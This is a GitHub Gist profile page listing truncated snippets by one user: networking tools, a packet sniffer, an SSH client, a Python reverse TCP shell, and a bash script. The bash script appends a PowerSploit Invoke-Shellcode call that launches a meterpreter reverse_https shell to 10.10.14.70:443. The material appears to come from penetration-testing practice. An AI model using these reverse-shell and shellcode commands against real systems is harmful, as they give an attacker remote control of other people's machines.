Skip to content

Instantly share code, notes, and snippets.

Avatar
🥚
Eating eggs from big endian

Gurkirat Singh tbhaxor

🥚
Eating eggs from big endian
View GitHub Profile
View app.py
from PyQt5 import QtWidgets, QtCore
from ui import Ui_MainWindow
from selenium.webdriver.chrome.webdriver import WebDriver
from selenium.webdriver.chrome.options import Options
import os
import traceback
import pickle as pkl
from pathlib import Path
from typing import List, Dict, Union
@tbhaxor
tbhaxor / proclist.cpp
Created Feb 24, 2020
Process listing api
View proclist.cpp
#include <stdio.h>
#include <Windows.h>
#include <WtsApi32.h> // for process enumerations
#include <tchar.h>
#include <sddl.h>
#include "Source.h"
#define MAX_ACC_NAME 1000
#define MAX_DOM_NAME 1000
@tbhaxor
tbhaxor / packet_sniffer.py
Last active Dec 3, 2019
Simple ICMP Packet Sniffer
View packet_sniffer.py
import os
import socket
from argparse import ArgumentParser, RawDescriptionHelpFormatter
# configuring the argument
parser = ArgumentParser(description="host discovery tool",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("--host",
help="hostname to bind",
metavar="HOSTNAME/IP",
@tbhaxor
tbhaxor / ssh_client.py
Created Dec 1, 2019
Simple SSH Client by Paramiko
View ssh_client.py
import threading
import subprocess
from paramiko import SSHClient, AutoAddPolicy
from argparse import ArgumentParser, RawDescriptionHelpFormatter
# config the arguments
parser = ArgumentParser(description="SSH Client",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("--host",
@tbhaxor
tbhaxor / reverse_shell_tcp.py
Created Nov 30, 2019
Reverse TCP Shell in python
View reverse_shell_tcp.py
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import PIPE, Popen
# configuring arguments
parser = ArgumentParser(description="Portable NCAT",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("-l",
"--listen",
@tbhaxor
tbhaxor / simple_ncat.py
Last active Nov 30, 2019
Simple NCAT Implementation
View simple_ncat.py
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from socket import socket, AF_INET, SOCK_STREAM
# configuring arguments
parser = ArgumentParser(description="Portable NCAT",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("-l",
"--listen",
action="store_true",
@tbhaxor
tbhaxor / tcp_client.py
Created Nov 30, 2019
Simple TCP Client
View tcp_client.py
from socket import socket, AF_INET, SOCK_STREAM
from sys import argv
argv.pop(0)
# instancing the client
client = socket(AF_INET, SOCK_STREAM)
# connecting to the server
try:
@tbhaxor
tbhaxor / tcp_server.py
Created Nov 30, 2019
simple tcp server
View tcp_server.py
from socket import socket, SOCK_STREAM, AF_INET
from sys import argv
argv.pop(0)
# instancing the server
server = socket(AF_INET, SOCK_STREAM)
# binding it to network interface
try:
View payload.ps1
function Invoke-Shellcode
{
[CmdletBinding( DefaultParameterSetName = RunLocal, SupportsShouldProcess = $True , ConfirmImpact = High)] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = RunLocal )]
[ValidateNotNullOrEmpty()]
View automate.bash
#!/bin/bash
# meterpreter ip & port
lhost=10.10.14.70
lport=443
echo " * Writing Payload"
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload